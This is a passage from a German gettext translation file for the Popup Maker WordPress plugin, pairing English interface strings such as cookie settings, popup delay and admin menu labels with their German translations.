classes/Cookies.php:264 msgid "Cookie Key" msgstr "Cookie-Key" #: classes/Cookies.php:257 classes/Shortcode/PopupCookie.php:60 msgid "Sitewide Cookie" msgstr "Seitenweites Cookie" #: classes/Cookies.php:236 classes/Shortcode/PopupCookie.php:54 msgid "Cookie Time" msgstr "Cookie-Laufzeit" #: classes/Cookies.php:246 msgid "Session cookies expire when the user closes their browser." msgstr "Session Cookies verfallen wenn die Benutzer ihren Browser schließen." #: classes/Cookies.php:245 msgid "Use Session Cookie?" msgstr "Sitzungs-Cookie verwenden?" #: classes/Triggers.php:205 classes/Triggers.php:237 msgid "The delay before the popup will open in milliseconds." msgstr "Die Verzögerung in Millisekunden bevor das Popup sich öffnet." #: classes/Admin/Popups.php:885 classes/Shortcode/Subscribe.php:421 #: classes/Triggers.php:199 classes/Triggers.php:204 classes/Triggers.php:236 #: includes/integrations/class-pum-cf7.php:153 #: includes/integrations/class-pum-gravity-forms.php:144 #: includes/integrations/ninja-forms/Actions/ClosePopup.php:53 msgid "Delay" msgstr "Verzögerung" #: classes/Admin/Popups.php:1439 msgid "Show all tags" msgstr "Alle Schlagwörter anzeigen" #: classes/Admin/Popups.php:1418 msgid "Show all categories" msgstr "Alle Kategorien anzeigen" #: classes/Admin/Pages.php:156 classes/Admin/Popups.php:1219 #: classes/Conditions.php:113 msgid "Tags" msgstr "Schlagwörter" #: classes/Admin/Pages.php:155 classes/Admin/Popups.php:1223 #: classes/Conditions.php:112 msgid "Categories" msgstr "Kategorien" #: classes/Admin/Popups.php:1206 classes/Admin/Themes.php:377 msgid "Title" msgstr "Titel" #: classes/Admin/Popups.php:1204 classes/Admin/Templates.php:698 #: classes/Privacy.php:239 classes/Shortcode/Subscribe.php:195 #: classes/Shortcode/Subscribe.php:249 msgid "Name" msgstr "Name" #: classes/Shortcode/Subscribe.php:433 #: includes/integrations/class-pum-cf7.php:167 #: includes/integrations/class-pum-gravity-forms.php:158 #: includes/integrations/ninja-forms/Actions/OpenPopup.php:45 #: includes/modules/admin-bar.php:117 dist/block-editor/block-editor.js:6 msgid "Open Popup" msgstr "Popup öffnen" #: classes/Admin/Extend.php:124 classes/Admin/Notices.php:67 #: classes/Admin/Onboarding.php:68 classes/AssetCache.php:672 #: classes/Telemetry.php:271 msgid "Learn more" msgstr "Erfahre mehr" #: classes/Admin/Onboarding.php:304 msgid "Welcome to Popup Maker!" msgstr "Willkommen beim Popup Maker!" #: classes/Admin/Settings.php:741 msgid "Extensions" msgstr "Erweiterungen" #: classes/Admin/Pages.php:76 classes/Admin/Pages.php:165 #: includes/modules/admin-bar.php:216 msgid "Tools" msgstr "Werkzeuge" #: classes/Admin.php:65 classes/Admin/Pages.php:61 classes/Admin/Pages.php:164 #: classes/Admin/Templates.php:426 classes/Admin/Templates.php:699 #: classes/Site/Assets.php:290 msgid "Settings" msgstr "Einstellungen"